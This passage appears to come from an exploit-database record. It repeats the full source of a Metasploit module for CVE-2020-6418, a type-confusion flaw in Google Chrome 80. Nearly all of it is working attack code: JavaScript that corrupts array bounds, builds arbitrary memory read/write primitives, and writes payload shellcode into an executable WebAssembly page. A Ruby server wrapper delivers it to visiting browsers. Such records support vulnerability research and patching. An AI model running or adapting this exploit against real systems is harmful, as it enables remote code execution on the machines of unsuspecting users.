}\r\n\r\n float_rel[uint64_externalptr_offset] = t1;\r\n float_rel[uint64_externalptr_offset + 1] = t2;\r\n}\r\n\r\n\r\nfunction get_compressed_rw() {\r\n\r\n for (var i = 0; i < 0x10000; ++i) {empty();}\r\n\r\n main(empty);\r\n main(empty);\r\n\r\n // Function would be jit compiled now.\r\n main(p);\r\n\r\n print(`Corrupted length of float_rel array = ${float_rel.length}`);\r\n}\r\n\r\nfunction get_arw() {\r\n get_compressed_rw();\r\n print('should be 0x2: ' + hex(crel_read4(0x15)));\r\n let previous_elements = crel_read4(0x14);\r\n //print(hex(previous_elements));\r\n //print(hex(cabs_read4(previous_elements)));\r\n //print(hex(cabs_read4(previous_elements + 4n)));\r\n cabs_write4(previous_elements, 0x66554433n);\r\n //print(hex(cabs_read4(previous_elements)));\r\n //print(hex(cabs_read4(previous_elements + 4n)));\r\n\r\n print('addrof(float_rel): ' + hex(addrof(float_rel)));\r\n uint64_aarw[0] = 0x4142434445464748n;\r\n}\r\n\r\nfunction rce() {\r\n function get_wasm_func() {\r\n var importObject = {\r\n imports: { imported_func: arg => print(arg) }\r\n };\r\n bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];\r\n wasm_code = new Uint8Array(bc);\r\n wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);\r\n return wasm_mod.exports.exported_func;\r\n }\r\n\r\n let wasm_func = get_wasm_func();\r\n // traverse the JSFunction object chain to find the RWX WebAssembly code page\r\n let wasm_func_addr = addrof(wasm_func);\r\n let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;\r\n print('sfi: ' + hex(sfi));\r\n let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;\r\n print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));\r\n\r\n let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;\r\n print('instance: ' + hex(instance));\r\n\r\n let wasm_rwx_addr = cabs_read8(instance + 0x68n);\r\n print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));\r\n\r\n // write the shellcode to the RWX page\r\n while(shellcode.length % 4 != 0){\r\n shellcode += \"\\u9090\";\r\n }\r\n\r\n let sc = [];\r\n\r\n // convert the shellcode to BigInt\r\n for (let i = 0; i < shellcode.length; i += 4) {\r\n sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));\r\n }\r\n\r\n writeShellcode(wasm_rwx_addr,sc);\r\n\r\n print('success');\r\n wasm_func();\r\n}\r\n\r\n\r\nfunction exp() {\r\n get_arw();\r\n rce();\r\n}\r\n\r\nexp();\r\n^\r\n\r\n if datastore['DEBUG_EXPLOIT']\r\n debugjs = %Q^\r\nprint = function(arg) {\r\n var request = new XMLHttpRequest();\r\n request.open(\"POST\", \"/print\", false);\r\n request.send(\"\" + arg);\r\n};\r\n^\r\n jscript = \"#{debugjs}#{jscript}\"\r\n else\r\n jscript.gsub!(/\\/\\/.*$/, '') # strip comments\r\n jscript.gsub!(/^\\s*print\\s*\\(.*?\\);\\s*$/, '') # strip print(*);\r\n end\r\n\r\n html = %Q^\r\n<html>\r\n<head>\r\n<script>\r\n#{jscript}\r\n</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n ^\r\n send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})\r\n end\r\n\r\nend\n\n# 0day.today [2020-03-06] #", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, "sourceHref": "https://0day.today/exploit/34056"}], "packetstorm": [{"lastseen": "2020-03-05T22:51:46", "description": "", "published": "2020-03-05T00:00:00", "type": "packetstorm", "title": "Google Chrome 80 JSCreate Side-Effect Type Confusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-6418"], "modified": "2020-03-05T00:00:00", "id": "PACKETSTORM:156632", "href": "https://packetstormsecurity.com/files/156632/Google-Chrome-80-JSCreate-Side-Effect-Type-Confusion.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ManualRanking \n \ninclude Msf::Post::File \ninclude Msf::Exploit::Remote::HttpServer \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit', \n'Description' => %q{ \nThis module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit \ncorrupts the length of a float array (float_rel), which can then be used for out \nof bounds read and write on adjacent memory. \nThe relative read and write is then used to modify a UInt64Array (uint64_aarw) \nwhich is used for read and writing from absolute memory. \nThe exploit then uses WebAssembly in order to allocate a region of RWX memory, \nwhich is then replaced with the payload shellcode. \nThe payload is executed within the sandboxed renderer process, so the browser \nmust be run with the --no-sandbox option for the payload to work correctly. \n}, \n'License' => MSF_LICENSE, \n'Author' => [ \n'Cl\u00e9ment Lecigne', # discovery \n'Istv\u00e1n Kurucsai', # exploit \n'Vignesh S Rao', # exploit \n'timwr', # metasploit copypasta \n], \n'References' => [ \n['CVE', '2020-6418'], \n['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'], \n['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'], \n['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'], \n], \n'Arch' => [ ARCH_X64 ], \n'DefaultTarget' => 0, \n'Targets' => \n[ \n['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}], \n['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}], \n], \n'DisclosureDate' => 'Feb 19 2020')) \nregister_advanced_options([ \nOptBool.new('DEBUG_EXPLOIT', [false, \"Show debug information during exploitation\", false]), \n]) \nend \n \ndef on_request_uri(cli, request) \nif datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} \nprint_status(\"[*] #{request.body}\") \nsend_response(cli, '') \nreturn \nend \n \nprint_status(\"Sending #{request.uri} to #{request['User-Agent']}\") \nescaped_payload = Rex::Text.to_unescape(payload.raw) \njscript = %Q^ \nvar shellcode = unescape(\"#{escaped_payload}\"); \n \n// HELPER FUNCTIONS \nlet conversion_buffer = new ArrayBuffer(8); \nlet float_view = new Float64Array(conversion_buffer); \nlet int_view = new BigUint64Array(conversion_buffer); \nBigInt.prototype.hex = function() { \nreturn '0x' + this.toString(16); \n}; \nBigInt.prototype.i2f = function() { \nint_view[0] = this; \nreturn float_view[0]; \n} \nBigInt.prototype.smi2f = function() { \nint_view[0] = this << 32n; \nreturn float_view[0]; \n} \nNumber.prototype.f2i = function() { \nfloat_view[0] = this; \nreturn int_view[0]; \n} \nNumber.prototype.f2smi = function() { \nfloat_view[0] = this; \nreturn int_view[0] >> 32n; \n} \n \nNumber.prototype.fhw = function() { \nfloat_view[0] = this; \nreturn int_view[0] >> 32n; \n} \n \nNumber.prototype.flw = function() { \nfloat_view[0] = this; \nreturn int_view[0] & BigInt(2**32-1); \n} \n \nNumber.prototype.i2f = function() { \nreturn BigInt(this).i2f(); \n} \nNumber.prototype.smi2f = function() { \nreturn BigInt(this).smi2f(); \n} \n \nfunction hex(a) { \nreturn a.toString(16); \n} \n \n// \n// EXPLOIT \n// \n \n// the number of holes here determines the OOB write offset \nlet vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1]; \nvar float_rel; // float array, initially corruption target \nvar float_carw; // float array, used for reads/writes within the compressed heap \nvar uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space \nvar obj_leaker; // used to implement addrof \nvuln.pop(); \nvuln.pop(); \nvuln.pop(); \n \nfunction empty() {} \n \nfunction f(nt) { \n// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug \nvuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05); \nfor (var i = 0; i < 0x10000; ++i) {}; \n} \n \nlet p = new Proxy(Object, { \nget: function() { \nvuln[0] = {}; \nfloat_rel = [0.2, 1.2, 2.2, 3.2, 4.3]; \nfloat_carw = [6.6]; \nuint64_aarw = new BigUint64Array(4); \nobj_leaker = { \na: float_rel, \nb: float_rel, \n}; \n \nreturn Object.prototype; \n} \n}); \n \nfunction main(o) { \nfor (var i = 0; i < 0x10000; ++i) {}; \nreturn f(o); \n} \n \n// reads 4 bytes from the compressed heap at the specified dword offset after float_rel \nfunction crel_read4(offset) { \nvar qw_offset = Math.floor(offset / 2); \nif (offset & 1 == 1) { \nreturn float_rel[qw_offset].fhw(); \n} else { \nreturn float_rel[qw_offset].flw(); \n} \n} \n \n// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel \nfunction crel_write4(offset, val) { \nvar qw_offset = Math.floor(offset / 2); \n// we are writing an 8-byte double under the hood \n// read out the other half and keep its value \nif (offset & 1 == 1) { \ntemp = float_rel[qw_offset].flw(); \nnew_val = (val << 32n | temp).i2f(); \nfloat_rel[qw_offset] = new_val; \n} else { \ntemp = float_rel[qw_offset].fhw(); \nnew_val = (temp << 32n | val).i2f(); \nfloat_rel[qw_offset] = new_val; \n} \n} \n \nconst float_carw_elements_offset = 0x14; \n \nfunction cabs_read4(caddr) { \nelements_addr = caddr - 8n | 1n; \ncrel_write4(float_carw_elements_offset, elements_addr); \nprint('cabs_read4: ' + hex(float_carw[0].f2i())); \nres = float_carw[0].flw(); \n// TODO restore elements ptr \nreturn res; \n} \n \n \n// This function provides arbitrary within read the compressed heap \nfunction cabs_read8(caddr) { \nelements_addr = caddr - 8n | 1n; \ncrel_write4(float_carw_elements_offset, elements_addr); \nprint('cabs_read8: ' + hex(float_carw[0].f2i())); \nres = float_carw[0].f2i(); \n// TODO restore elements ptr \nreturn res; \n} \n \n// This function provides arbitrary write within the compressed heap \nfunction cabs_write4(caddr, val) { \nelements_addr = caddr - 8n | 1n; \n \ntemp = cabs_read4(caddr + 4n | 1n); \nprint('cabs_write4 temp: '+ hex(temp)); \n \nnew_val = (temp << 32n | val).i2f(); \n \ncrel_write4(float_carw_elements_offset, elements_addr); \nprint('cabs_write4 prev_val: '+ hex(float_carw[0].f2i())); \n \nfloat_carw[0] = new_val; \n// TODO restore elements ptr \nreturn res; \n} \n \nconst objleaker_offset = 0x41; \nfunction addrof(o) { \nobj_leaker.b = o; \naddr = crel_read4(objleaker_offset) & BigInt(2**32-2); \nobj_leaker.b = {}; \nreturn addr; \n} \n \nconst uint64_externalptr_offset = 0x1b; // in 8-bytes \n \n// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array \nfunction read8(addr) { \nfaddr = addr.i2f(); \nt1 = float_rel[uint64_externalptr_offset]; \nt2 = float_rel[uint64_externalptr_offset + 1]; \nfloat_rel[uint64_externalptr_offset] = faddr; \nfloat_rel[uint64_externalptr_offset + 1] = 0.0; \n \nval = uint64_aarw[0]; \n \nfloat_rel[uint64_externalptr_offset] = t1; \nfloat_rel[uint64_externalptr_offset + 1] = t2; \nreturn val; \n} \n \n// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array \nfunction write8(addr, val) { \nfaddr = addr.i2f(); \nt1 = float_rel[uint64_externalptr_offset]; \nt2 = float_rel[uint64_externalptr_offset + 1]; \nfloat_rel[uint64_externalptr_offset] = faddr; \nfloat_rel[uint64_externalptr_offset + 1] = 0.0; \n \nuint64_aarw[0] = val; \n \nfloat_rel[uint64_externalptr_offset] = t1; \nfloat_rel[uint64_externalptr_offset + 1] = t2; \nreturn val; \n} \n \n// Given an array of bigints, this will write all the elements to the address provided as argument \nfunction writeShellcode(addr, sc) { \nfaddr = addr.i2f(); \nt1 = float_rel[uint64_externalptr_offset]; \nt2 = float_rel[uint64_externalptr_offset + 1]; \nfloat_rel[uint64_externalptr_offset - 1] = 10; \nfloat_rel[uint64_externalptr_offset] = faddr; \nfloat_rel[uint64_externalptr_offset + 1] = 0.0; \n \nfor (var i = 0; i < sc.length; ++i) { \nuint64_aarw[i] = sc[i] \n} \n \nfloat_rel[uint64_externalptr_offset] = t1; \nfloat_rel[uint64_externalptr_offset + 1] = t2; \n} \n \n \nfunction get_compressed_rw() { \n \nfor (var i = 0; i < 0x10000; ++i) {empty();} \n \nmain(empty); \nmain(empty); \n \n// Function would be jit compiled now. \nmain(p); \n \nprint(`Corrupted length of float_rel array = ${float_rel.length}`); \n} \n \nfunction get_arw() { \nget_compressed_rw(); \nprint('should be 0x2: ' + hex(crel_read4(0x15))); \nlet previous_elements = crel_read4(0x14); \n//print(hex(previous_elements)); \n//print(hex(cabs_read4(previous_elements))); \n//print(hex(cabs_read4(previous_elements + 4n))); \ncabs_write4(previous_elements, 0x66554433n); \n//print(hex(cabs_read4(previous_elements))); \n//print(hex(cabs_read4(previous_elements + 4n))); \n \nprint('addrof(float_rel): ' + hex(addrof(float_rel))); \nuint64_aarw[0] = 0x4142434445464748n; \n} \n \nfunction rce() { \nfunction get_wasm_func() { \nvar importObject = { \nimports: { imported_func: arg => print(arg) } \n}; \nbc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; \nwasm_code = new Uint8Array(bc); \nwasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); \nreturn wasm_mod.exports.exported_func; \n} \n \nlet wasm_func = get_wasm_func(); \n// traverse the JSFunction object chain to find the RWX WebAssembly code page \nlet wasm_func_addr = addrof(wasm_func); \nlet sfi = cabs_read4(wasm_func_addr + 12n) - 1n; \nprint('sfi: ' + hex(sfi)); \nlet WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n; \nprint('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData)); \n \nlet instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n; \nprint('instance: ' + hex(instance)); \n \nlet wasm_rwx_addr = cabs_read8(instance + 0x68n); \nprint('wasm_rwx_addr: ' + hex(wasm_rwx_addr)); \n \n// write the shellcode to the RWX page \nwhile(shellcode.length % 4 != 0){ \nshellcode += \"\\u9090\"; \n} \n \nlet sc = []; \n \n// convert the shellcode to BigInt \nfor (let i = 0; i < shellcode.length; i += 4) { \nsc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000)); \n} \n \nwriteShellcode(wasm_rwx_addr,sc); \n \nprint('success'); \nwasm_func(); \n} \n \n \nfunction exp() { \nget_arw(); \nrce(); \n} \n \nexp(); \n^ \n \nif datastore['DEBUG_EXPLOIT'] \ndebugjs = %Q^ \nprint = function(arg) { \nvar request = new XMLHttpRequest(); \nrequest.open(\"POST\", \"/print\", false); \nrequest.send(\"\" + arg); \n}; \n^ \njscript = \"#{debugjs}#{jscript}\" \nelse \njscript.gsub!(/\\/\\/.*$/, '') # strip comments \njscript.gsub!(/^\\s*print\\s*\\(.*?\\);\\s*$/, '') # strip print(*); \nend \n \nhtml = %Q^ \n<html> \n<head> \n<script> \n#{jscript} \n</script> \n</head> \n<body> \n</body> \n</html> \n^ \nsend_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) \nend \n \nend \n`\n", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/156632/chrome_jscreate_sideeffect.rb.txt"}], "exploitdb": [{"lastseen": "2020-03-09T19:36:41", "description": "", "published": "2020-03-09T00:00:00", "type": "exploitdb", "title": "Google Chrome 80 - JSCreate Side-effect Type Confusion (Metasploit)", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-6418"], "modified": "2020-03-09T00:00:00", "id": "EDB-ID:48186", "href": "https://www.exploit-db.com/exploits/48186", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ManualRanking\r\n\r\n include Msf::Post::File\r\n include Msf::Exploit::Remote::HttpServer\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit',\r\n 'Description' => %q{\r\n This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit\r\n corrupts the length of a float array (float_rel), which can then be used for out\r\n of bounds read and write on adjacent memory.\r\n The relative read and write is then used to modify a UInt64Array (uint64_aarw)\r\n which is used for read and writing from absolute memory.\r\n The exploit then uses WebAssembly in order to allocate a region of RWX memory,\r\n which is then replaced with the payload shellcode.\r\n The payload is executed within the sandboxed renderer process, so the browser\r\n must be run with the --no-sandbox option for the payload to work correctly.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' => [\r\n 'Cl\u00e9ment Lecigne', # discovery\r\n 'Istv\u00e1n Kurucsai', # exploit\r\n 'Vignesh S Rao', # exploit\r\n 'timwr', # metasploit copypasta\r\n ],\r\n 'References' => [\r\n ['CVE', '2020-6418'],\r\n ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],\r\n ['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],\r\n ['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],\r\n ],\r\n 'Arch' => [ ARCH_X64 ],\r\n 'DefaultTarget' => 0,\r\n 'Targets' =>\r\n [\r\n ['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],\r\n ['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],\r\n ],\r\n 'DisclosureDate' => 'Feb 19 2020'))\r\n register_advanced_options([\r\n OptBool.new('DEBUG_EXPLOIT', [false, \"Show debug information during exploitation\", false]),\r\n ])\r\n end\r\n\r\n def on_request_uri(cli, request)\r\n if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}\r\n print_status(\"[*] #{request.body}\")\r\n send_response(cli, '')\r\n return\r\n end\r\n\r\n print_status(\"Sending #{request.uri} to #{request['User-Agent']}\")\r\n escaped_payload = Rex::Text.to_unescape(payload.raw)\r\n jscript = %Q^\r\nvar shellcode = unescape(\"#{escaped_payload}\");\r\n\r\n// HELPER FUNCTIONS\r\nlet conversion_buffer = new ArrayBuffer(8);\r\nlet float_view = new Float64Array(conversion_buffer);\r\nlet int_view = new BigUint64Array(conversion_buffer);\r\nBigInt.prototype.hex = function() {\r\n return '0x' + this.toString(16);\r\n};\r\nBigInt.prototype.i2f = function() {\r\n int_view[0] = this;\r\n return float_view[0];\r\n}\r\nBigInt.prototype.smi2f = function() {\r\n int_view[0] = this << 32n;\r\n return float_view[0];\r\n}\r\nNumber.prototype.f2i = function() {\r\n float_view[0] = this;\r\n return int_view[0];\r\n}\r\nNumber.prototype.f2smi = function() {\r\n float_view[0] = this;\r\n return int_view[0] >> 32n;\r\n}\r\n\r\nNumber.prototype.fhw = function() {\r\n float_view[0] = this;\r\n return int_view[0] >> 32n;\r\n}\r\n\r\nNumber.prototype.flw = function() {\r\n float_view[0] = this;\r\n return int_view[0] & BigInt(2**32-1);\r\n}\r\n\r\nNumber.prototype.i2f = function() {\r\n return BigInt(this).i2f();\r\n}\r\nNumber.prototype.smi2f = function() {\r\n return BigInt(this).smi2f();\r\n}\r\n\r\nfunction hex(a) {\r\n return a.toString(16);\r\n}\r\n\r\n//\r\n// EXPLOIT\r\n//\r\n\r\n// the number of holes here determines the OOB write offset\r\nlet vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];\r\nvar float_rel; // float array, initially corruption target\r\nvar float_carw; // float array, used for reads/writes within the compressed heap\r\nvar uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space\r\nvar obj_leaker; // used to implement addrof\r\nvuln.pop();\r\nvuln.pop();\r\nvuln.pop();\r\n\r\nfunction empty() {}\r\n\r\nfunction f(nt) {\r\n // The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug\r\n vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);\r\n for (var i = 0; i < 0x10000; ++i) {};\r\n}\r\n\r\nlet p = new Proxy(Object, {\r\n get: function() {\r\n vuln[0] = {};\r\n float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];\r\n float_carw = [6.6];\r\n uint64_aarw = new BigUint64Array(4);\r\n obj_leaker = {\r\n a: float_rel,\r\n b: float_rel,\r\n };\r\n\r\n return Object.prototype;\r\n }\r\n});\r\n\r\nfunction main(o) {\r\n for (var i = 0; i < 0x10000; ++i) {};\r\n return f(o);\r\n}\r\n\r\n// reads 4 bytes from the compressed heap at the specified dword offset after float_rel\r\nfunction crel_read4(offset) {\r\n var qw_offset = Math.floor(offset / 2);\r\n if (offset & 1 == 1) {\r\n return float_rel[qw_offset].fhw();\r\n } else {\r\n return float_rel[qw_offset].flw();\r\n }\r\n}\r\n\r\n// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel\r\nfunction crel_write4(offset, val) {\r\n var qw_offset = Math.floor(offset / 2);\r\n // we are writing an 8-byte double under the hood\r\n // read out the other half and keep its value\r\n if (offset & 1 == 1) {\r\n temp = float_rel[qw_offset].flw();\r\n new_val = (val << 32n | temp).i2f();\r\n float_rel[qw_offset] = new_val;\r\n } else {\r\n temp = float_rel[qw_offset].fhw();\r\n new_val = (temp << 32n | val).i2f();\r\n float_rel[qw_offset] = new_val;\r\n }\r\n}\r\n\r\nconst float_carw_elements_offset = 0x14;\r\n\r\nfunction cabs_read4(caddr) {\r\n elements_addr = caddr - 8n | 1n;\r\n crel_write4(float_carw_elements_offset, elements_addr);\r\n print('cabs_read4: ' + hex(float_carw[0].f2i()));\r\n res = float_carw[0].flw();\r\n // TODO restore elements ptr\r\n return res;\r\n}\r\n\r\n\r\n// This function provides arbitrary within read the compressed heap\r\nfunction cabs_read8(caddr) {\r\n elements_addr = caddr - 8n | 1n;\r\n crel_write4(float_carw_elements_offset, elements_addr);\r\n print('cabs_read8: ' + hex(float_carw[0].f2i()));\r\n res = float_carw[0].f2i();\r\n // TODO restore elements ptr\r\n return res;\r\n}\r\n\r\n// This function provides arbitrary write within the compressed heap\r\nfunction cabs_write4(caddr, val) {\r\n elements_addr = caddr - 8n | 1n;\r\n\r\n temp = cabs_read4(caddr + 4n | 1n);\r\n print('cabs_write4 temp: '+ hex(temp));\r\n\r\n new_val = (temp << 32n | val).i2f();\r\n\r\n crel_write4(float_carw_elements_offset, elements_addr);\r\n print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));\r\n\r\n float_carw[0] = new_val;\r\n // TODO restore elements ptr\r\n return res;\r\n}\r\n\r\nconst objleaker_offset = 0x41;\r\nfunction addrof(o) {\r\n obj_leaker.b = o;\r\n addr = crel_read4(objleaker_offset) & BigInt(2**32-2);\r\n obj_leaker.b = {};\r\n return addr;\r\n}\r\n\r\nconst uint64_externalptr_offset = 0x1b; // in 8-bytes\r\n\r\n// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array\r\nfunction read8(addr) {\r\n faddr = addr.i2f();\r\n t1 = float_rel[uint64_externalptr_offset];\r\n t2 = float_rel[uint64_externalptr_offset + 1];\r\n float_rel[uint64_externalptr_offset] = faddr;\r\n float_rel[uint64_externalptr_offset + 1] = 0.0;\r\n\r\n val = uint64_aarw[0];\r\n\r\n float_rel[uint64_externalptr_offset] = t1;\r\n float_rel[uint64_externalptr_offset + 1] = t2;\r\n return val;\r\n}\r\n\r\n// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array\r\nfunction write8(addr, val) {\r\n faddr = addr.i2f();\r\n t1 = float_rel[uint64_externalptr_offset];\r\n t2 = float_rel[uint64_externalptr_offset + 1];\r\n float_rel[uint64_externalptr_offset] = faddr;\r\n float_rel[uint64_externalptr_offset + 1] = 0.0;\r\n\r\n uint64_aarw[0] = val;\r\n\r\n float_rel[uint64_externalptr_offset] = t1;\r\n float_rel[uint64_externalptr_offset + 1] = t2;\r\n return val;\r\n}\r\n\r\n// Given an array of bigints, this will write all the elements to the address provided as argument\r\nfunction writeShellcode(addr, sc) {\r\n faddr = addr.i2f();\r\n t1 = float_rel[uint64_externalptr_offset];\r\n t2 = float_rel[uint64_externalptr_offset + 1];\r\n float_rel[uint64_externalptr_offset - 1] = 10;\r\n float_rel[uint64_externalptr_offset] = faddr;\r\n float_rel[uint64_externalptr_offset + 1] = 0.0;\r\n\r\n for (var i = 0; i < sc.length; ++i) {\r\n uint64_aarw[i] = sc[i]\r\n }\r\n\r\n float_rel[uint64_externalptr_offset] = t1;\r\n float_rel[uint64_externalptr_offset + 1] = t2;\r\n}\r\n\r\n\r\nfunction get_compressed_rw() {\r\n\r\n for (var i = 0; i < 0x10000; ++i) {empty();}\r\n\r\n main(empty);\r\n main(empty);\r\n\r\n // Function would be jit compiled now.\r\n main(p);\r\n\r\n print(`Corrupted length of float_rel array = ${float_rel.length}`);\r\n}\r\n\r\nfunction get_arw() {\r\n get_compressed_rw();\r\n print('should be 0x2: ' + hex(crel_read4(0x15)));\r\n let previous_elements = crel_read4(0x14);\r\n //print(hex(previous_elements));\r\n //print(hex(cabs_read4(previous_elements)));\r\n //print(hex(cabs_read4(previous_elements + 4n)));\r\n cabs_write4(previous_elements, 0x66554433n);\r\n //print(hex(cabs_read4(previous_elements)));\r\n //print(hex(cabs_read4(previous_elements + 4n)));\r\n\r\n print('addrof(float_rel): ' + hex(addrof(float_rel)));\r\n uint64_aarw[0] = 0x4142434445464748n;\r\n}\r\n\r\nfunction rce() {\r\n function get_wasm_func() {\r\n var importObject = {\r\n imports: { imported_func: arg => print(arg) }\r\n };\r\n bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];\r\n wasm_code = new Uint8Array(bc);\r\n wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);\r\n return wasm_mod.exports.exported_func;\r\n }\r\n\r\n let wasm_func = get_wasm_func();\r\n // traverse the JSFunction object chain to find the RWX WebAssembly code page\r\n let wasm_func_addr = addrof(wasm_func);\r\n let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;\r\n print('sfi: ' + hex(sfi));\r\n let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;\r\n print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));\r\n\r\n let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;\r\n print('instance: ' + hex(instance));\r\n\r\n let wasm_rwx_addr = cabs_read8(instance + 0x68n);\r\n print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));\r\n\r\n // write the shellcode to the RWX page\r\n while(shellcode.length % 4 != 0){\r\n shellcode += \"\\u9090\";\r\n }\r\n\r\n let sc = [];\r\n\r\n // convert the shellcode to BigInt\r\n for (let i = 0; i < shellcode.length; i += 4) {\r\n sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 